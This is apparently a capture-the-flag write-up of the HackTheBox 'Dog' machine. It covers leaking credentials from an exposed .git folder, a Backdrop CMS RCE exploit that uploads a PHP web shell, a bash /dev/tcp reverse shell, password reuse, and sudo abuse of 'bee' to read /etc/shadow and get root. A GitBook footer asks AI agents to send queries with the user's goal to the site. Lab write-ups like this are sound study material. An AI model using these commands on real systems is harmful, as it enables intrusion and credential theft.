> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md).

# Dog HackTheBox Writeup

Dog HackTheBox Easy Linux machine writeup covering Extracting information from .git folder (Information Leakage), Authenticated Remote Code Execution (CMS Backdrop), Pivoting (Password Reuse), Sudo be

{% embed url="<https://app.hackthebox.com/machines/Dog>" %}

{% hint style="warning" %}
**Skills:**

* Extracting information from .git folder (Information Leakage)
* Authenticated Remote Code Execution (CMS Backdrop)
* Pivoting (Password Reuse)
* Sudo bee binary (Executing PHP Code) (Privilege Escalation)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99b0799781f17526e27c7bf954574f1958429f1f%2Fimage%20(623).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de6ccfcda810beb202281fe65f9d346ca9f51127%2Fimage%20(624).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.58 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d37fa3111aee7368a40d19afc2ac3e3ce6285d5%2Fimage%20(625).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port version scan with Nmap 22.80:**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,80 10.10.11.58 -oN targeted 
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f9793b85f1e941ffbb225a75c9ddd16015082c2%2Fimage%20(627).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12b6acc1bb82fff1563bba2d2e3f9eea61e9e2c9%2Fimage%20(628).png?alt=media" alt=""><figcaption></figcaption></figure>

We discover a **.git** directory, indicating a potential publicly accessible Git repository. The site uses the **Backdrop** CMS.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6cf45fef64f2ccf3abea7e9f4e35eac72ab6527%2Fimage%20(629).png?alt=media" alt=""><figcaption></figcaption></figure>

**Enumeration with Gobuster**

```bash
gobuster dir -u http://10.10.11.58 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

We find several interesting directories, including **.git**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dca9e2c920e3e9d0245d4f33afc0656169c4e3fa%2Fimage%20(630).png?alt=media" alt=""><figcaption></figcaption></figure>

**Git repository dump**

We retrieve the contents of the repository with:

```git
git-dumper http://10.10.11.58/.git .git
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8761e8c7602332845bf0d5005227a752b21fd048%2Fimage%20(631).png?alt=media" alt=""><figcaption></figcaption></figure>

We find a **settings.php** file containing a password:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16fff1520d2a586aa99f5350f33a2b8fcbea0bc9%2Fimage%20(632).png?alt=media" alt=""><figcaption></figcaption></figure>

We search emails saved with:

```bash
find .git -type f -exec grep -E '@dog' {} +
```

We find the following email: **<tiffany@dog.htb>**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-74d3075d5c00a3d143bba87d4851630a17b9c433%2Fimage%20(633).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Backdrop CMS Exploitation (RCE)**

We use the credentials found to connect to the CMS.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7d05759319e5aae7c9d41455e72c9646ec56c87%2Fimage%20(634).png?alt=media" alt=""><figcaption></figcaption></figure>

**Search for vulnerabilities**

With **searchsploit**, we identify an RCE flaw:

```bash
searchsploit -m php/webapps/52021.py
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6c8750629d8cbaecd734ff386c172f9f3fce7a84%2Fimage%20(635).png?alt=media" alt=""><figcaption></figcaption></figure>

We run the exploit:

```bash
python3 52021.py http://10.10.11.58
```

This generates a ZIP file containing a PHP shell.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6b8c2803d4083cf218a11b04cf954ae7685e362%2Fimage%20(636).png?alt=media" alt=""><figcaption></figcaption></figure>

We then compress the shell into **tar.gz**:

```bash
tar -czvf shell.tar.gz shell
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-60bffde1288acfaf36be4a9571b7c7dfd02e243f%2Fimage%20(637).png?alt=media" alt=""><figcaption></figcaption></figure>

We inject it via **admin / installer / manual**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bebfa41d951db53d2ef0c6468c878df064a62f2%2Fimage%20(638).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be618b8a576f80deb6cd999be90e6cfbad1a7ef2%2Fimage%20(639).png?alt=media" alt=""><figcaption></figcaption></figure>

**Order fulfillment**

We find a folder **modules/cmd/** containing **cmd.php**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e31cc9cb22e5a42ed6909f55a8e9484921a0108a%2Fimage%20(640).png?alt=media" alt=""><figcaption></figcaption></figure>

Allowing us to execute orders:

```bash
ifconfig 
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-23ca234217fa95f326999e5d5d57844118a33442%2Fimage%20(641).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Reverse Shell Backdrop CMS**

We open a listener on port 443:

```bash
nc -nlvp 443 
```

We inject a payload:

```bash
bash -c "bash -i >&/dev/tcp/10.10.14.81/443 0>&1"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-08b91c3335d4e87f3252071166ac44288c01ef39%2Fimage%20(642).png?alt=media" alt=""><figcaption></figcaption></figure>

Once connected, we stabilize our shell:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## **Privilege escalation**

### **Pivoting to user johncusack**

We list users with a valid Bash shell:

```bash
cat /etc/passwd | grep "/bash"
```

We find **root, jobert and johncusack**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24eaebf34b7a9ec59821c82ba85aed7f89deec47%2Fimage%20(643).png?alt=media" alt=""><figcaption></figcaption></figure>

We attempt to reuse the credentials and obtain access with:

```bash
su johncusack
BackDropJ2024DS2024
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aee9ae961fc30108b3715847ec51d3c1a96a48a0%2Fimage%20(644).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3795951603ee379ea4d24a779844d04a85fca1e1%2Fimage%20(648).png?alt=media" alt="" width="557"><figcaption></figcaption></figure>

### **Privilege escalation with the Bee binary**

We check sudo privileges:

```bash
sudo -l
```

We can run **/usr/local/bin/bee** as root.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f24d3737f30f7efe05aa128faaa4d6d23e277e9c%2Fimage%20(645).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analysis the Bee**

{% hint style="info" %}
Bee is an administration tool for **Backdrop CMS**, similar to **Drush** for Drupal. It allows the execution of various commands.
{% endhint %}

`Usage: bee [global-options] [options] [arguments]`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d412d26b585e1d1c1f44048436f99dc13e183fb5%2Fimage%20(646).png?alt=media" alt=""><figcaption></figcaption></figure>

We identify the **eval** option, which allows executing arbitrary PHP code.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6adc0a0848bf8e4378a80347ee7664bca75f76e4%2Fimage%20(647).png?alt=media" alt=""><figcaption></figcaption></figure>

**Read `/etc/shadow`**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'echo shell_exec("cat /etc/shadow 2>&1");'
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fdc0fd20adf91a65dbdaaf26f8c10a680141a43%2Fimage%20(649).png?alt=media" alt=""><figcaption></figcaption></figure>

**Root Shell Obtained**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'shell_exec("/bin/bash -p");'
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c84bf1122334818882ac43099f12872be39a876a%2Fimage%20(650).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05300e30ecc099bf870dbe6d7c9e576836a5dda0%2Fimage%20(651).png?alt=media" alt="" width="398"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/dog-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
